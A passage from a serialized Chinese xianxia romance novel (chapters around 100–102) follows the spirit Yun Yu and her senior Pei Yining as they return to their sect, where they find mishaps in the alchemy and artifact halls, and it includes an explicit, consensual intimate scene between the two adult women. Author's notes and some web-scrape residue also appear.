云樾听懂了,曲指敲过她的脑门:“所以现在不怀念,不珍惜了。你师姐呢?” 今日只云榆前来,虽往常有时也是云榆先来,但总是没多久,裴依宁就会跟过来。 云榆道:“灵丹堂那边出了点小差错,堂主在闭关,师姐在传音处理。”她顿了下,“灵丹堂就是明越宗下的其中一处峰阁,主修丹法。” 云樾点点头:“这样啊。” 云榆眼珠子转动,往回看了几眼,没瞧见问亦云的身影,不动声色地扩散开灵识,依旧没能发现对方的气息。 修为高的可以隐匿气息不让修为低的察觉,何况这里是问亦云的地盘。云榆上次剑指对方的事还没被放在台面说过,仿佛真的只是友好的指点一般。 察觉到周遭灵力波动,云樾掀起眼皮,就见自家妹妹左顾右盼,坐立不安的模样。 她不免失笑:“怎么了?刚提起你师姐,现在就着急见了?” 云榆眉心拧成一朵小花:“姐姐,我上次同问姐姐比试,伤到问姐姐了。” “姐姐,是我做事考虑不周。” 伤口不深,可实打实地渗出血迹,何况问姐姐还是姐姐的道侣。 “我都不曾说过什么,你这般愧疚做何?”云榆话音刚落,问亦云的声音自长廊处传来。 红衣女人衣诀翻飞,五官凌厉张扬,越过几根连成排而成的玉石柱,身形消失一瞬,又闪出,极致的白,将红色渲染的越发艳丽。 问亦云姿容绝艳,此刻脸上晕着两抹浅色的绯意,上挑的眼尾也挂着嫣红。 云榆刚要起身,被走近的问亦云一把摁下,红衣女人坐在云樾身畔,旁若无人地捏过云樾指尖擒着的那块糕点,抿了小口:“不多住几日?” 云榆一走,她和云樾的关系恐怕又要降至冰点。 假扮的甜蜜将化为泡影。 云榆道:“宗门还有考核,这些时日没怎么正儿八经地修炼,再不回宗,到时连剑都不知道怎么提了。” 问亦云不置可否:“前几日剑不是拿得很好吗?” 剑尖都要戳穿她了,那几根从她眼前飘散而下的碎发,她还记得。无意识地摸了把眉心,上面的伤口早已愈合,不留痕迹。 云榆尴尬地别开头,只当是没看见。 云樾不着痕迹地拐了下问亦云的手臂,眼神警告地扫过去,后者弯弯唇,倒是没有揪着这点不放。 裴依宁是在问亦云一炷香后到的。 “师姐。”云榆率先看见走入的人,碍于有人,她只是喊了声,并未有多余的动作。 裴依宁朝她笑了下,随后与云樾和问亦云打过招呼,才是问云樾:“在聊什么?” 云榆腾出位置给她,顺手捏了块甜腻腻的糕点塞入女人口中,裴依宁躲避不及,一小半糕点直接被含住口中。 甜得她牙疼。 始作俑者却是视若无睹般:“姐姐今日做的,师姐觉得好吃吗?” 将口中糕点咽下,裴依宁启唇:“好吃。” 这小妖分明是故意的。 来这里后,这小妖越发恶劣了,隐隐有要向小刺猬本体靠近的趋势。 裴依宁即高兴又忧愁。 但表面仍旧清风霁月,无多余情绪外泄。 从云樾那离开后,行进数百米,放眼望去,除却殿宇楼阁,再无一人。 裴依宁下滑的掌心在某只小妖第无数次不规矩地摆动手擦过她的手背时,将其抓住,举起。 云榆的手臂被迫曲起,活像是被欺负了的样子,水汪汪的眸子里蓄着的液体说来就来,清风拂过地带下来一滴晶莹的水珠。 在下睫处要坠不坠地挂着,分离出几滴更小的圆润水滴。 裴依宁心顿时揪疼起:“哭什么?” 云榆眨眨眼,上睫毛也分到一丝水润的液体,她定定地看了两眼师姐,扎入女人怀中,眼眶怼在师姐的锁骨处。 温热的液体在触及到肌肤不久后转为丝丝凉意,裴依宁回抱住她:“发生什么了?” 莫不是问亦云旧事重提,问罪那日剑抵命门之事。但有云樾在,怎么会让云榆受委屈。 她怜惜地抚住云榆的后脑:“师姐在这呢。” 怀中的小妖在她衣衫上胡乱地蹭动,将泪水留在其中:“没哭。” 下面传来云榆清亮的声音,她埋首于师姐的脖颈处,贪恋地嗅闻师姐身上的药香味。 来问玉宫的这些时日,师姐甚少碰药,但那药香如影随形地跟着师姐,浸润在骨血中的气息。 云榆道:“没控制住泪水,就是突然想要流泪。” 明明身上没有什么压力了,她有一群对她极好的师姐妹,有了陪伴未来的师姐,见到了姐姐。 所有的一切都在向好发展。 云榆唇吻在师姐的肌肤上,张合间带着酥麻的痒意:“可能是太开心了。” 裴依宁垂眸。 怀中的小脑袋一动一动的。 她弯唇,下巴搭在小妖的头上。 * 两日时间一晃而过,云榆揣上姐姐送来的几包糕点,带上问亦云给她的一批修炼资源,大包小包地同裴依宁在殿前等稍后送她们离开的人。 云榆踮起脚尖,脖子伸长,待到视野中出现一白一红两道身影,她兴奋地举起手臂,用力挥动。 两人离她不远,她这般大幅度的挥动自对面看去略显呆愣。 裴依宁从她的后面看,也是这般觉得。 “姐姐。”云榆兴冲冲地迎上去。 云樾歪过头,视线越过她看向不紧不慢走来的裴依宁,颔首以做招呼,继而目光落定在面前的云榆身上:“要走了,这么开心吗?” 云榆脸垮下来:“不开心,一点都不开心。”她瘪巴着唇,“那我哭哭吧。” 云樾打住她:“嗯嗯嗯,那还是开心点吧。” 问玉宫非有宫内人带领,否则轻易出不去。 在殿前聊了几句,云樾扭头。 问亦云双手怀抱,懒散地靠在殿前的玉桌上,捕捉到投射来的视线,身上的懒劲泄去:“跟我来。” 她放慢脚步,待到云樾跟上来,与其并肩而行。 云榆挂在裴依宁身边,叽里咕噜地说些什么,是不是侧头再与云樾聊上几句,脑袋快要转成拨浪鼓。 不知不觉间,高耸入云的玉石门出现,不同于殿内全然的白,这道玉石门是青绿色的,纹路中点缀着蓝紫色的纹理,两道门把手处各是十数个凹槽,内里成呈放不同属性的灵珠。 问亦云上前数步,在特定的几枚灵珠内注入灵力,旋即叩到两下门环。 伴随着颗颗灵珠亮起,玉石门向两边打开。 一片白茫茫,外界似乎被大雾蒙蔽,只一跨出门,便什么都看不见。 问玉宫素来颇为神秘,但这种看不见外景还是初次见。 问亦云淡声道:“在你们踏出门后,外界的阵法即会自动运转,将你们传送至原先来时的位置。” 云榆叹息:“到处都是阵法。” 真的要走了,心底的不舍悄然升腾,再往前一步,就能迈出问玉宫。 云榆回身:“姐姐,我走了。” 云樾很轻很低地:“好。” 云榆:“我下次还可以自由来这里吗?” 明面是在问云樾,实际却在问问亦云。 问亦云瞥她一眼:“你想来时,只需要往我给你的那枚玉佩中注入一丝灵力即可。那枚玉佩可直接联系到我。” 她顿了下:“你随时可以来,哪怕今日走,明日就来也可以。” 一句话将场面逗得轻松,云樾低笑。 再无后顾之忧地同师姐踏出门槛,两人的身形被白雾笼罩,数道灵光乍现,直冲云霄。 宫内的两人齐刷刷地抬起头,两粒光点混在灵光中,柳絮般飞扬而出,落至无边的天际。 问亦云先一步收回目光,转念云樾还扬着下巴,仿佛能突破空间,一路追随离去的小妖。 她一直羡慕云榆,可以轻而易举地获得云樾的所有注意力。 甚至有时,她想同云樾说话,都要可耻的以云榆为导入点,这人才肯搭理她几句。 兜兜转转,回到了云榆没来时的平静。 那种浑然天成的疏离回到云樾身边。 白衣女人眼角的余光扫过她,捂住唇闷咳两声,调头原路返回。 问亦云看看外面的白雾,小步追上去,隔着半个身位:“她们会落在荒凉古地,从那里回明越宗,用张传送符纸,耗费不了多长时间。” 云樾默然。 就在问亦云以为她不会说话时,云樾开口:“那很快了。” 问亦云:“嗯,晚些我传音问问她们,确定她们平安回宗。” 云樾:“好。” * 眼前白雾散去,云榆用力挤了下眼睛,待那股不适感褪去,她才有心思环顾周围。 坑坑洼洼的地面残留着零星没能处理干净的血迹,到处是打斗的痕迹,在她前方数米,是一方狼藉到遍布划痕的土地。 是困住她们的那座阵法的布阵地。 再次看去,云榆颇为感概:“差点就困死在里面了。” 抽出一张传送符纸,正在上方勾画目标地的裴依宁闻声往那看过一眼。 随即,明黄色的符纸飞出,符文闪烁,一方小型传送阵显现。 来不及再伤春感秋,云榆被吸入传送阵中,还没从方才的眩晕感中挣脱出来,又是一顿天旋地转,地动山摇。 “这个阵法没有问玉宫的好,”云榆忍着眩晕感,控诉,“也没有原师姐的那个好。” 裴依宁捏着她的手腕:“没有高等级的传送阵了,将就一下。” 等级偏低的传送符纸不仅稳定性不怎么好,就连传送时间都要慢上许多。从安逸的地方出来没多久,就经历这种蹉跎,云榆胃里翻江倒海地难受。 她佝偻着腰,圈住师姐的腰身,脸颊贴在师姐的小腹处,裸露在外的肌肤内,毛孔仿佛被切割开,风一阵阵地灌入。 “这传送符纸等级太低了吧。”云榆忍着难受道。 下一刻,紊乱的空间变得平稳,她被一只手臂捞起,周身覆盖上一层灵力,外界的纷扰被一并隔绝。 云榆嘴角抽搐,她差点忘了,她有灵力,可以用灵力护住自身。 然,正要调动体内灵力,裴依宁制止了她:“星星,你不要动用灵力,这道符纸经受不住截然不同的灵力,一旦注入,传送阵破损,我们不知道要被传送到哪里去了。” 裴依宁是火属性灵力,而云榆是水属性,本就是相克的元素。 云榆默默收敛起差点溢出的灵力:“好的,师姐,我们还有多久到?” 裴依宁:“一炷香左右,不舒服的话,可以靠在我身上,闭目养神。” 云榆“哦”了声:“舒服的话,就不能靠在师姐身上了吗?” 裴依宁点她:“不准抓字眼。” 云榆无辜地耸了下肩:“好哦。” 一炷香后,脚下出现坚实感,云榆睁开略显惺忪的眼睛,下巴在师姐肩上点了两下,才是慢慢悠悠地退开。 她声音泛着微弱的哑意:“到了吗?” 裴依宁“嗯”了声,牵住她的手,待到她清醒后才是继续向前。 宗门处守着数名执法堂的弟子,照例对进出宗门的人进行检查。 云榆捏住后颈,长时间低着让她这里有些酸疼。 一个多月不曾回宗,宗里的一切都变得新鲜而有趣,云榆像是刚入宗的弟子,左顾右盼,打量着一切。 这一打量,当真让她发现了不同之处。 临了问斜侧方与她们打完招呼的执法堂弟子,指着悬于半空,依稀可见的阵法,好奇道:“请问今天阵法阁考核吗?为何上空那么多阵法。” 执法堂人顺着她指的方向看过去,略一点头,又摇摇头,面露复杂:“不算是考核,前段时间阵法阁已经考核完毕。这两日是阵灵阁收纳新弟子的日子,如今是最后一轮。” 各个峰阁入新时间由各峰阁自行决定,就像是剑法阁上次的入新时间要早于灵丹堂。 “原来是这样。”云榆道了声“谢谢”后小跑到师姐边,忍不住咂舌“阵仗好大,不过刚入阁的新弟子就已经能绘制出阵法了吗?” 细想下,当初她进入剑法阁,也是经历了层层考验。 云榆:“剑法阁下一年入新时间是什么时候?” 裴依宁接道:“一般十年一入新,但难免有天资卓绝者,则不受此条件限制。” 云榆:“所以我还算得上是新弟子?” 入宗不过一年多,下一届师妹到来还有七八年的时光,云榆忽地觉得自己好小。 宗门遍地都是她的师姐。 裴依宁:“算是。” 云榆给杜寻雁传音告知自己回宗了,随后跟随师姐去了趟灵丹堂。 裴依宁则先是给风浅念和原以诗传过音,再是给纳兰然传音。 她不在的时候,堂内事物多是由纳兰然处理。 刚到灵丹堂的峰阁边,抬眼就瞧见守在那的人。 纳兰然身着浅绿色衣衫,遥遥地朝两人走来,脸上挂着和煦的笑容,灵动自然:“裴师姐,云师妹。” 云榆拱手回礼:“纳兰师姐。” 纳兰然笑:“云师妹不必这么客气。” 几人并非不熟,过于客套难免显得生疏。 “这段时间各个峰阁内都算得上是鸡飞狗跳,先是剑法阁后山阁那棵灵树不知被谁砍了一刀,惹得廖阁主大怒,再是器物堂内接二连三的考核,”纳兰然闲聊般地边走边说,“还有这两日阵灵阁入新,一座阵法没控制住,差点劈了宗主殿堂。” 云榆惊奇地:“阵灵阁和宗主殿堂距离那么远,也能劈上?” 纳兰然提起这个就觉得好笑:“正常来说的确不会被劈,但那弟子许是想展示自己的能力,一连勾画了两座阵法,偏生一座阵法是传送阵,导致另一座阵法直接钻入传送阵,传到了宗主殿堂上空。” 云榆:“这……” 她抬眼,阵灵阁上空的阵法看上去越发危险。 纳兰然道:“不用担心,现在那里被白师姐设下结界了,阵法不会窜出来了。” 裴依宁问:“灵丹堂呢?” 纳兰然支支吾吾地好半天没说话。 裴依宁捏了下鼻梁,多半不是好事。 云榆好奇地探出头:“灵丹堂也有状况?” 纳兰然道:“说大也不大,说小也不小,就是几日前,在教导师妹们炼制三品丹药时,炸了几顶炼丹炉。” 裴依宁:“有人受伤吗?” 纳兰然:“没有。” 云榆:“那还好,炸了两三顶炼丹炉而已,人没事就好。” 裴依宁:“炸了就炸了,让器物堂再铸造便是,她们现在在炼丹还是?” 纳兰然:“嗯……在给药植松土,整理药材库。” 怎么在做这些事,忽地,她顿住脚步:“炸了几顶?” 纳兰然伸出一根手指。 云榆不可置信:“十顶?” 真的是一群败家的,她记得一顶炼丹炉的铸造价格便不低,结果炸了十顶。 等会,炸了十顶,岂不是说有十人炼丹出现重大失误,结合灵丹堂那批新入的弟子不过十多人,失败率未免太高了。 云榆偷偷去看裴依宁的脸色。 不是那么好看。 裴依宁声线冷下去:“她们的确该多记记单方,辨认辨认药株了。” 灵丹堂前的部分空地即是用来摘种药株的,此刻有数人埋于药田内,远远瞧见纳兰然身边的人,个个恨不得将头扎入土里。 纳兰然敛去神情:“裴师姐,还有几个在药材室内,要她们都出来吗?” 裴依宁视线扫过在田内不知忙些什么,却手都不停歇的师妹们:“算了,怪不得她们,炼丹出错在所难免,将她们炼丹途中所出的问题整理给我。届时等新的炼丹炉到了,再挨个指导。” “对了,”裴依宁问,“器物堂有说什么时候将炼丹炉送来吗?” 纳兰然唇近乎抿成一条线:“裴师姐,器物堂接二连三的考核就是因为此。原师姐将这件事交给了下面的师妹们,结果……一连失败数次。” 她干咳一声:“目前,器物堂的人不是那么想看见我们灵丹堂的人,所以暂时没敢去询问进度。” 作者有话说: 来啦来啦 在赶毕设和论文,来晚了,滑跪道歉【你现在阅读的是 】 100-110 第101章 第一百零一章[VIP] 因着纳兰然的一句没敢去询问进度, 裴依宁刚要跨入灵丹堂主殿的步伐硬生生转了个弯,改道去器物堂。 “裴师姐,”器物堂一位正要出峰阁的弟子撞见迎面而来的人,连忙拱手, 她瞅着裴依宁身旁眼生的人, 很快将其与前段时间传得沸沸扬扬的小妖对上,试探地, “云师妹?” 云榆拱手回礼:“师姐好。” 那人直起身, 为难地看了眼身后的器物堂,耳边隐约回荡起原以诗的话语以及器物一遍遍熔铸锻造的声音, 砸得她脑瓜子嗡嗡的疼。 这其中很大一部分原因归结于为灵丹堂新铸的那批炼丹炉上。 失败率高得骇人,以至于原师姐这几日周身气压低得很。 好在有风师姐在, 给她们尚有喘息的机会。 今日若非是裴师姐,而是灵丹堂的其她人来,她定然要好生劝劝对方,这个时候千万别触器物堂一众师妹的霉头。 “裴师姐,器物堂这个点正在进行今日的第二场考核, 原师姐和风师姐都在守着, ”她将今日二字咬得极重, “您若有事, 恐怕还要等些时候。” 云榆听出她的弦外之音, 好奇地:“今日一共安排有几场考核?” 那人苦笑着道:“自五日前开始, 每日三场,由原师姐与风师姐轮流出题, 做为考核的内容, ”她顿了下,叹息着继续道, “还没确定具体的结束日期。” 云榆倒吸一口凉气,日日三场,五日前就已经开始,岂不是这几日已经进行了十数场考核。 虽说是器物堂一众新入的师妹们学艺不精,但导火索毕竟是灵丹堂的那一批新炼制的炼丹炉。 怪不得纳兰然和其余灵丹堂弟子不敢来此地,换做是她,也不敢过来。 她掀起眸子去看裴依宁的表情,自她这个角度能看清女人精致饱满的脸部轮廓线,半边鸦羽般的长睫有频率地轻颤,眼睫下的瞳孔中注起细碎的晨光。 闻声,裴依宁颔首:“好,我知道了。” 那人告辞离去。 云榆小幅度地扯住师姐垂下的衣袖,犹豫着道:“师姐,要不还是直接传音给风师姐询问情况吧。” 裴依宁挑起眉梢:“都来了,为何还要传音询问,进去看看便是。” 云榆嘀咕两声:“因为我怕器物堂师姐妹的眼神能将你洞穿。” 裴依宁迈出的步子收回,长指点在云榆的额头,如四月春风拂过,不带多余痕迹地落下。 清雅的香气如丝如雾地浮在周身,等云榆回过神时,身畔的女人已经前行了数米,步伐缓慢,一看便知是在等她。 云榆三步并作两步地走过去,怼上女人的手臂,牢牢锁住,像个巨大的挂件垂挂住女人半边身体。 迈入器物堂建筑所属范围,步履匆匆的师姐妹们来来往往。 在此起彼伏的“裴师姐”中穿行而过,云榆紧绷着弦,生怕有人将不满发泄到裴师姐身上,她警惕地观察四周。 并未有人用不善的言语或视线对裴依宁。 云榆稍稍松下一口气,跟随裴依宁穿过几座高耸的建筑,又在器物堂一位师姐的指引下进入考核地的殿外。 不同于灵丹堂内的简单,器物堂的考核殿前,用特殊晶石雕刻出两尊形状怪异,大小有所差别的镇殿灵兽。 左边的那尊通体呈现玄黑色,巨大尖锐的爪子抬起,兽头凝视前方,颇有种威严不可侵的庄重。右边的则是稍淡的墨色,个头偏小,抬起的爪子似在与来人打招呼,灵动无比。 一左一右两尊,虽不对称,看上去却不显得怪异。 云榆有心多看了几眼。 考核殿内传来噼里叭啦的燃爆声,间或伴有物体不断燃烧之音,说不上来的气味顺着大开的殿门传出。 不过片刻功夫,一名弟子脸色发白的从殿内而出,在看见裴依宁时,那人怔愣了瞬,抬手:“裴师姐。” 待她退到一边,云榆大致猜到发生了什么,这是炼器失败,先到外面候着的。 随后接二连三地出来几人,神情都不怎么好看。 半柱香后,风浅念出现在考核殿前,瞧见殿门口的两人,无可奈何的笑意凝固一瞬,眉宇舒展:“依宁,云师妹,你们回来的?” 裴依宁直奔主题:“不久前刚入宗,浅念,灵丹堂的那批炼丹炉约莫多久能炼制好,届时我让人过来取。” 殿外数道视线齐刷刷地投射过来,但很快沮丧地移到别处,垂头丧气地像是枯萎的花般耷拉着脑袋。 身为剑法阁的云榆替裴依宁心虚地摸了摸鼻子。 风浅念笑道:“原是因为这个过来的,原师姐让丰寻春她们炼制了,不日便能炼制完毕,送到灵丹堂内。” 裴依宁点头:“好。”她一扭头,余光瞥见排成一排的师妹们,“我听说这几日器物堂一直在考核?” 提及这事风浅念便觉得脑袋疼,一边是原师姐下达的考核任务,另一边是日日向她寻求帮助的师妹们。 两边都为难。 她素来温和好说话,但不代表什么都会同意。 这次这些师妹们的确过于过分了,先是她和原以诗前往荒凉古地前的考核不达标,又是几日前的炼制炼丹炉,造出数顶残次品。 想来裴依宁最是能体会到她们的心情,堂内师妹一连炸毁十顶炼丹炉,也是些学艺不精的。 风浅念道:“嗯,每人差的不一样,就当是摸底了。” 裴依宁了然,得到确切回复后,没再多留,带着云榆回到了灵丹堂。 “师姐怎么不多留会,我以为你会同风师姐多聊几句,还有原师姐的影子都没看见,”云榆用裴依宁先前的话堵回去,“毕竟来都来了。” 裴依宁弯弯唇:“不一样,浅念出来时,神情不及往日开朗,约莫是没心情闲聊的,再在这留着看那些师妹炼制器物吗?有外人在,她们的压力说不定更大,不如早休离去。” 她淡淡道:“这么看,灵丹堂还是太轻松了,只是让她们松松土,整理整理药材。” 云榆脊背发凉,总觉得师姐这个语气不对,平淡的话语下藏着什么难以捉摸的东西。仙注付 她默默为同门内祈求好运。 出乎云榆的意料,回到灵丹堂,裴依宁并没有言及炸丹炉的事,只是同纳兰然说明过几日器物堂会将新的炼丹炉送来,随后带着云榆回了洞府。 “师姐,”云榆直愣愣地坐在椅子上,一只腿毫无形象地踩在椅子下的横栏上,长臂伸直,搭在曲起的膝盖上,侧脸顺势贴在手臂外侧,夸赞道,“你性格真好。” 裴依宁在不远处煮茶,升腾的热气模糊了她的视线。 在问玉宫的这段时间,云榆的人形也快要和本体那般没了规矩分寸。 更有生活气了。 裴依宁红唇翘起,捧着斟满的两杯热茶坐到云榆斜侧方,她拍过小妖的腿,提醒道:“坐好,小心摔到了。” 云榆不在乎地耸肩,笑的得意:“有师姐在,就算真的摔倒,师姐也会接住我的吧。会的吧,嗯?师姐?” 说完,她就着这副不老实的样子,长腿一伸,踩在坚实的地面,柔软的腰身弯下,往前凑去,枕在裴依宁的腿上,长发顺滑地自女人腿上滑落,被女人垂下的手揽住,不至于和地面来个亲密接触。 她扬躺在师姐身上,目光定格在师姐清冷自持的面容上,水汽雾霭中,女人轻慢地捧起刚煮好的茶水,姿容优雅地细品。 在杯沿与唇相贴时,裴依宁大半张面容被遮挡,只露出下巴尖的一抹冷白。 云榆一瞬不瞬地看着,直到师姐品味完茶水,皙白的手指带着杯身温热的温度点在她的唇上。 她微微启唇,含住那根柔软的指,轻轻地咬住。 茶水漾起的雾气似是转移到她的眼中,水光潋滟的眸子亮晶晶的如初生的小兽,依恋于初见的人。 指尖带着轻缓的酥麻,是小妖在吮吸她的手指,裴依宁眸色暗下去,念动间,半开的木窗紧紧闭合,挡住外界的喧嚣,将室内的春光全然留住。 不知什么时候,攻守异势,躺在她腿上的小妖已然起身,半跪在她的膝盖上,矮身与她相拥,指腹一遍遍地摩挲在她的唇瓣上。 灼热的气息打在她的肌肤上,裴依宁轻笑着勾住云榆的脖颈,额头自然相抵:“星星怎么总喜欢在白日?” 云榆无辜地:“师姐不准确,拢共不过才一次,怎么能确定我是喜欢白日还是黑夜?” 她啄上师姐的唇角,浅浅地品尝着,混杂着刚入口的茶香,与师姐本身带有的浅淡的,在这个时候极好的勾起她念想的药香气。 云榆咽了下,头向后了些,拉开些许和师姐的距离,即使是在做这种事时,眼底的真诚依旧在。 裴依宁忽地颤动眼睛,推在云榆的心口:“越发没了规矩。” 云榆拦腰抱起师姐,心口的推拒越发大力,裴依宁低声道:“想先沐浴。” 云榆吻了吻她的眼睛:“好,我们一起。” 水花四溅,温热的水流将两人团团包裹,裴依宁有气无力地搭在云榆肩头。 水流的冲洗远不如另一处激烈。 今日的温泉水好像格外烫,蒸得裴依宁全身都是红润的,露出水面的偶尔因为凉风瑟缩。 女人眉心紧皱,指腹用力按在云榆对肩膀上,指骨绷出白色的痕,指腹的血线被压得后退。 …… 抓不到着落点。 于是,她咬住了身前拦着她的人的肩,又怕咬得过重,裴依宁收起牙齿,身体下滑,凝成下山的眉头埋于云榆的颈部。 那条美人筋跳动不已。 “星星,”裴依宁轻唤了声小妖,嫣红的唇张开又合上,“等会儿。” …… …… …… “师姐,这样可以吗?”云榆耐心地询问当事人的意见。 …… 裴依宁闭上了眼,这种事怎么能这么直白地问出来,她如何回答都不妥,索性当做没有听见。 云榆没得到答案,她本能地凭借心意,很轻很轻地道:“师姐,慢了,重了都要与我说。” 裴依宁哼出一道气音。 云榆笑笑,……压在无处可藏,只能暴露在外的小点上,顺着那里上上下下,不知疲倦。 …… 并拢在内作乱,指腹在外,双重的感触让裴依宁大脑顷刻间白茫茫一片,额角青筋凸起。 她咬紧牙关,不泄出难言的喜悦。 心口起伏,温泉的水越发滚烫,裴依宁眼底朦胧出现一层晶亮的水光,浅浅的,破碎的。 云榆猛然记起那日说的,想看师姐哭的事情。 师姐,好像快哭了。 云榆垂下眼帘,揉动在那处略微的褶皱处,温声细语地哄意识不太明了的师姐:“舒服吗,裴依宁?” 裴依宁看不清面前小妖的面容,她颤颤巍巍地伸出手,云榆探过头。 裴依宁两指点在云榆的额前,声音沙哑的不成样子,她想敲小妖的脑门,奈何没了力气,像是在安抚。 小妖不肯轻易放过她,妖族的恶劣不加掩饰的翻出:“师姐,你喜欢吗?” 与此同时,配合着的是越发快速地来回。 …… 那处经过不断的点动,满载的液体随着…… 与温泉水融为一体。 云榆蛊惑地引诱:“师姐,你总是这么沉闷,一言不发,是不喜欢吗?” 欺负人的是她,委屈的还是她:“师姐是不是不喜欢星星了。” “师姐怎么一点声音都没有,好安静啊。” “师姐,你还记得许久前,我本体落水,扎伤你手的事情吗?那种伤,师姐一枚丹药就可以恢复吧,怎得把我留在你这十几日。” “师姐那时就喜欢我了吗,喜欢我的本体还是人形,亦或者两者都喜欢?” “……” 她喋喋不休地说着话,裴依宁一度想要将她的嘴堵上,可绵软无力的手抬起来都费力,虚虚地搭在小妖唇上,毫无威慑力。 体内的沉浮还在积攒,裴依宁意识渐渐模糊,那滴挂在眼眶的泪水终是落下。 在下颌处挂了会,直到承载不住,重重地落在水面不断波动的温泉内,顷刻间被裹挟。 “师姐,哭了?”云榆呢喃低语,“师姐,哭什么?” 因这滴泪,好不容易压下去的心思再度被勾起,她空闲的手顺着师姐的后腰不断往上,好奇而带着必须得到答案的求问,“师姐为什么要哭?” 裴依宁无力地摇摇头:“星星……” 那处开始收缩,挤压。 几欲动弹不得。 烟花在脑中一朵朵炸开。犹如缺氧濒死的人,裴依宁大口呼吸空气,酸胀的腿支撑不住身体,软绵绵地往下倒,被云榆眼疾手快地勾到怀中。 抬起时,带起的水花淅淅沥沥地往下落,云榆探身取过提前准备好的温水。 此刻变得有些凉了,但不影响。 云榆将杯沿抵在裴依宁唇边,小心翼翼地喂进去:“师姐,慢点,再喝点。” 裴依宁拧着眉别过头,不愿再喝。 云榆不勉强,自己跟着喝了两口。 “师姐,还要吗?”结束后的云榆恢复到先前的模样,仿佛刚才将师姐狠狠欺负的不是她一般,满是纯真无害的问询。 裴依宁唇动了动:“嗯。” 云榆笑出声,注意到师姐越发升温的肌肤和那冷飕飕的眼神,她抿住唇,将笑意压在喉咙深处。 她说:“去床上?” 裴依宁任由她折腾:“好。” 换了汤温泉,给师姐清洗擦干身体,云榆抱着师姐上了岸,身形晃动,两人出现在床边。 裴依宁眼睛睁开一条缝,入眼是白茫茫的一片。 裴依宁混乱的意识陡然清醒。 她往下看,自己身上被云榆披着层浅薄的白绸,不至于受冻着凉。 小妖注意到她的眼神,微微笑:“师姐,怎么了吗?” 裴依宁不是很想理她,这小妖越发的过分了。 颇有种肆无忌惮。 …… 时时刻刻有坠入某处的错觉。 双双跌入床心。 云榆抚住师姐的长发…… 她点点下滑,裴依宁以为她要吻她那里,正要拉住她,可小妖下滑到她的心口便不再有动作。 “星星。”裴依宁拍拍她的脑袋。 云榆哼了声,不舍的放开,…… 裴依宁眼尾晕染上红意,再又一次达成某个点后,她遏住云榆的手腕:“星星,可以了。” 云榆克制地收手:“师姐,睡吧,我给你清理。” 裴依宁只是有些累,并不困,她摇摇头:“还不想睡。” 云榆笑:“那师姐监督我给你清洗。” 裴依宁:“嗯。” 洗好后,云榆去处理那汤温泉。 裴依宁被小妖照顾得很好,她靠坐在床边,闭目养神,身体上的疲倦让她不想动。听见小妖回来的动静,她睁开眼,凝视着小妖忙碌的身影。 云榆从空间储物中取出一包糕点。 云樾做的。 知晓裴依宁吃不了太甜腻的,云榆拿出一块,掰了一半过去,她反身坐在床边,端着一杯水,方便随时投喂师姐。 “师姐,中午想吃什么,我给你做,还是算了,”想到自己惨不忍睹的厨艺,云榆决定放过自己,也放过师姐,“我等会去膳食堂打一点吃食过来,师姐想吃什么?” 膳食堂的食物素来不错,虽不及裴依宁的手艺,但和云榆的手艺相比,好上太多。 “一点粥就可以,不是很想吃。”裴依宁道。 云榆应了声好,驾轻就熟地往膳食堂蹭。 这个点,膳食堂的餐食都已做好,开始往外送了。 云榆赶去时,正碰上在其中的纳兰然,她眼珠子转动,放大脚步声,在纳兰然看过来时,乖巧地拱手行礼:“纳兰师姐。” 纳兰然和身侧的师妹说了什么后,那人退去,她这才对云榆道:“云师妹,你一个人吗?” 云榆点点头:“师姐在处理事情,我过来端点吃食回去。” 纳兰然:“好,你自取便是,不过有些菜品送去固定的饭堂了,若是这里的不合师妹胃口,可以去那里取。” 云榆一眼看见桌案上的药粥,指了指:“我想要点粥。” 有纳兰然在,没有耽误多久,云榆端着半锅药粥和两碟小菜就回去了。 进入洞府,她看向床上的人,笑着道:“师姐,你靠在那就好,我喂你。” 裴依宁:“嗯,好。” 端着碗药粥,夹了几筷子小菜,云榆长腿勾起一张椅子到床边,她侧身坐下,捏起勺子,舀了勺,放在唇边吹吹,待到温热不烫口后,夹了点小菜放到勺子上,一并递到裴依宁唇边。 云榆:“烫吗?” 裴依宁摇头。 “尝尝这个,很脆的,纳兰师姐说味道不错,让我带点回来。”云榆夹起两根笋丝道。 裴依宁“嗯”了声,云榆喂什么,她便吃什么,一点儿也不挑食的样子。 一碗喂完,云榆商量:“师姐,再吃点好不好?” 裴依宁摇摇头,难得露出一丝抗拒的表情:“饱了,不想吃了。” 云榆作罢,凭空取出一条手帕,捻在指尖,在师姐唇边轻轻点了点。 等她吃完,将东西送回膳食堂再回来时,裴依宁已经穿戴整齐地站在洞府门前候着,看见她,浅浅地歪了下头。 纯洁美好。 云榆脚步一顿,继而笑开,小跑着张开双臂,到达师姐身前,她膝盖一弯,抱住师姐的腰身,头虚虚抵在师姐小腹处。 蹭过两下,云榆问:“师姐怎么出来了,休息好了吗,身体还酸吗?” 裴依宁反问道:“你也知道身体会酸吗?” 云榆不好意思地笑了起来,她牵住师姐的手,笑盈盈地给不出答案,于是模棱两可地回答:“应该知道吧。” 裴依宁只看她,不言语。 云榆:“散步吗?” 裴依宁一点头。 云榆蹲下身,周身灵光闪过,她的身形无限变小,化为本体。 小刺猬抖动两下身体,小爪子勾住裴依宁衣衫下摆,抓住,下肢弹射向上,轻车熟路地爬到裴依宁的手臂处。 小刺猬义正言辞地道:“笨蛋裴依宁,你为何不理本星星大人?真是大胆。” 裴依宁摊开手掌,下巴点了点,示意小刺猬爬过去。 小刺猬毫不犹豫地蹿到女人摊开的手掌上。 裴依宁抬起另只手,覆盖在小刺猬身上,并不能合拢:“星星,你能变小一点吗?” 小刺猬不知道师姐是什么意思,但她听从师姐的话:“可以的,师姐等一下。” 她将身体团缩成球,肉眼可见的点点变小,直到变成一枚沙糖桔那么大,裴依宁叫停:“可以了,星星。” 小刺猬上方一只手掌盖下,轻而易举地将她包裹。 她的世界中挤满裴依宁的气息。 作者有话说: 大概还有一两章就正文完结啦 有没有什么想看的番外 第102章 第一百零二章[VIP] 夜色晃荡, 纷乱的影子交织在一起,裴依宁安静地捧着掌心的小刺猬,穿行在一条寂静无人的小道中。 小刺猬用爪子捂住额头,避免刺扎到裴依宁, 她下肢伸起, 用爪背去顶女人的掌心。 闭合的世界因此开了一条缝隙,借由那点缝隙, 小刺猬看清了周围的景象。 一片茂盛的竹林, 竹叶在微风中轻盈地摇晃,碰撞, 发出“沙沙沙”的声音,小刺猬惊讶于明越宗竟然有如此繁茂的地方, 更惊异于裴依宁为何要带她来到这里。 